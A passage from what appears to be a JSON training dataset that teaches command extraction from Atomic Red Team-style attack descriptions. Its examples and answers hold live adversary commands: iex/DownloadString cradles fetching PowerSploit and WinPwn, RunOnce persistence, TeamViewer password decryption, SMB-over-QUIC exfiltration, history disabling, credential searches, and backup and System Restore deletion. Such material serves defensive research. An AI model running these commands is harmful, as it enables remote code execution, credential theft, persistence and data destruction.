Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx using this command: REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n; For RunOnce key persistence, execute the following command which adds a registry entry: $RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'",
    "output": "{\"command_list\": [\"REG ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"#{thing_to_execute}\\\"\\n\", \"$RunOnceKey = \\\"#{reg_key_path}\\\"\\nset-itemproperty $RunOnceKey \\\"NextRun\\\" '#{thing_to_execute} \\\"IEX (New-Object Net.WebClient).DownloadString(`\\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\\\")\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using WinPwn's functionality, you can loot local credentials by decrypting TeamViewer passwords via the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive; This security check examines registry permissions for services, which could be exploited for privilege escalation by modifying the ImagePath, with the command: get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndecryptteamviewer -consoleoutput -noninteractive  \", \"get-acl REGISTRY::HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\* |FL\\nget-acl REGISTRY::HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\#{weak_service_name} |FL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This scenario demonstrates data theft through SMB over QUIC, requiring the following commands to be run: New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\ncopy '#{local_file}' 'Z:\\'; To simulate an attacker exfiltrating data over SMB over QUIC, use the following command sequence: NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK\ncopy '#{local_file}' '*:\\'",
    "output": "{\"command_list\": [\"New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\\ncopy '#{local_file}' 'Z:\\\\'\\n\", \"NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK\\ncopy '#{local_file}' '*:\\\\'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing purposes without logging out, we can confirm the HISTFILE value, redirect it to /dev/null, and validate the change with this command sequence:\nTEST=$(echo $HISTFILE)\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\";  fi; To verify and modify the HISTFILE variable without logging out, follow these steps using the following command:\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTFILE)\\necho $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\\\";  fi\\n\", \"echo $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can discover passwords stored in PowerShell history by executing this command, which looks for security-sensitive patterns: ls -R C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt | Select-String \"password\", \"-p\", \"key\", \"pwd\", \"pass\"; Upon execution, calc.exe will be launched when you run this command to execute the SyncAppvPublishingServer script with PowerShell command options: C:\\windows\\system32\\SyncAppvPublishingServer.vbs \"\\n;#{command_to_execute}\"\n",
    "output": "{\"command_list\": [\"ls -R C:\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt | Select-String \\\"password\\\", \\\"-p\\\", \\\"key\\\", \\\"pwd\\\", \\\"pass\\\"\\n\", \"C:\\\\windows\\\\system32\\\\SyncAppvPublishingServer.vbs \\\"\\\\n;#{command_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove the Windows systemstatebackup, a technique commonly used by ransomware, execute this command: wbadmin delete systemstatebackup -keepVersions:0. Success is likely only on server platforms where Windows Backup is active.; You can turn off the SR scheduled task with the command: schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /disable",
    "output": "{\"command_list\": [\"wbadmin delete systemstatebackup -keepVersions:0\\n\", \"schtasks.exe /Change /TN \\\"\\\\Microsoft\\\\Windows\\\\SystemRestore\\\\SR\\\" /disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Threat actors often maintain persistence by leveraging third-party remote services like UltraViewer, which can be installed silently using the following command: Start-Process -Wait -FilePath \"#{UltraViewer_Path}\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'; UltraVNC can be launched as part of a malicious C2 strategy with the command: Start-Process #{UltraVNC_Viewer_Path}",
    "output": "{\"command_list\": [\"Start-Process -Wait -FilePath \\\"#{UltraViewer_Path}\\\" -Argument \\\"/silent\\\" -PassThru\\nStart-Process 'C:\\\\Program Files (x86)\\\\UltraViewer\\\\UltraViewer_Desktop.exe'\\n\", \"Start-Process #{UltraVNC_Viewer_Path}\\n\"]}"
  },
  {
